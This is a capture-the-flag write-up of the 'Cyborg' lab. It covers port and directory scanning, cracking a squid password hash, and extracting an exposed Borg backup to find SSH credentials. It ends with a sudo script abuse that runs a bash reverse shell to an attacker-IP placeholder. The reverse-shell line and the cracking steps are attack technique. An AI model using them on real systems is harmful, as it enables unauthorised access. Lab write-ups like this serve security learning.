Cyborg

Port Scan

To start off we can do a simple nmap service scan:

nmap -sV <target IP>

We should get an output like the one shown below:

It clearly shows there are 2 ports active on the machine

• Port 22: OpenSSH 7.2p2
• Port: Apache Web Server 2.4.18

Both of them show that the host operating system is likely some release of Ubuntu.

The root of the web servers display a default page, which means we need to enumerate the directories furthur.

Website Enumeration

We can enumerate the directories with Gobuster:

gobuster dir -u http://<target IP> -w <wordlist>

We find two directories:

• /admin

  • This seems like a simple plain HTML page

  • We can know from the information on the site:

    • Owner of site: Alex
    • Music producer in UK
    • Starts playing piano at age of 5
    • Edits his Music
    • Can play Drums and Guitars

  • /admin/admin.html

    • We can see that page is set up by Alex and his friends for the purpose of communicating about the web server. Unfortunately for them, they are not the only ones able to access this page.
    • Seems like this sever has a squid proxy set up and it has been misconfigured with a security vulnerability. Also it mentions the existence of a backup archive

  • /admin/archive.tar

    • This should be backup archive mention above, we should download and decompress it.
    • There is README file inside the decompressed archive located in

    home/field/dev/final_archive:

    This is a Borg Backup repository.
    See https://borgbackup.readthedocs.io/
    

    We can install the borg utility on our system so we can investigate this further. Consulting the documentation, the command to extract the archive called music_archive should be:

    borg extract home/field/dev/final_archive::music_archive
    

    But it seems we need to provide it with a password

• /etc

  • This is way more interesting, we have a directory listing of /etc.

  • If we head into the /etc/squid directory, we see to interesting files

    • passwd: seems like some sort of hash, maybe it’s that of the music_archive. We can crack it with John the Ripper:

    john <hash file> --wordlist <wordlist>
    

    • We obtain the credentials:

    

    • squid.conf: This should be the configuration file mentioned above.

    auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
    auth_param basic children 5
    auth_param basic realm Squid Basic Authentication
    auth_param basic credentialsttl 2 hours
    acl auth_users proxy_auth REQUIRED
    http_access allow auth_users
    

The Backup Archive.

We can now provide the password to the backup archive. We get a backup of the home directory of the user alex.

Under the Documents directory, we see a note.txt:

Wow I'm awful at remembering Passwords so I've taken my Friends advice and noting them down!

alex:S3cretP@s3

What a silly little goose. It seems like we have found the credentials to his server. We can try to login with SSH.

Success!!! We have gained our initial foothold on the server!

Privledge Escalation

We can employ the standard suite of privilege escalation vector enumeration here. The user alex seems to be in the sudo group, which means he can execute sudo and gain elevated privilege on certain commands. To list out the commands available we can run sudo -l:

We see that we have a script that can be run with sudo.

Great! We have permission over this file, which means we have a way to execute arbitrary commands with elevated privilege! We can use this to set up a reverse shell. To launch a simple reverse shell on bash, we can use:

/bin/bash -i >& /dev/tcp/<attacker IP>/<attacker port> 0>&1

We can either add this to the end of the script, or even better, backup the script and replace the original one with this single command. We can then set up a listener on our attacker machine, and then we execute this script with sudo.

We now have root access to the machine!

Conclusion

This is a relatively easy room with all things considered. We first gained initial access by downloading the backup archive and cracking the password hash we got from enumerating the files on the web server. We then found the system login password inside the backup of the user’s home directory and used it to log in via SSH. Finally, we took advantage of a permission misconfig in a script that can be ran with sudo privilege to gain a root reverse shell on our target.

Recommendations

1. Never put password hashes and backup archives on publicly accessable websites. It’s the internet. Anyone can access it.
2. Modify the /etc/mp3backups/backup.sh so that it does not need sudo privileges to run, and then revoke the sudo privilege of alex.

Thoughts

This is my first time doing a complete writeup for a room. I heard this could be beneficial for writing pentest reports in the future. Thanks for reading this, and I hope you found this guide helpful.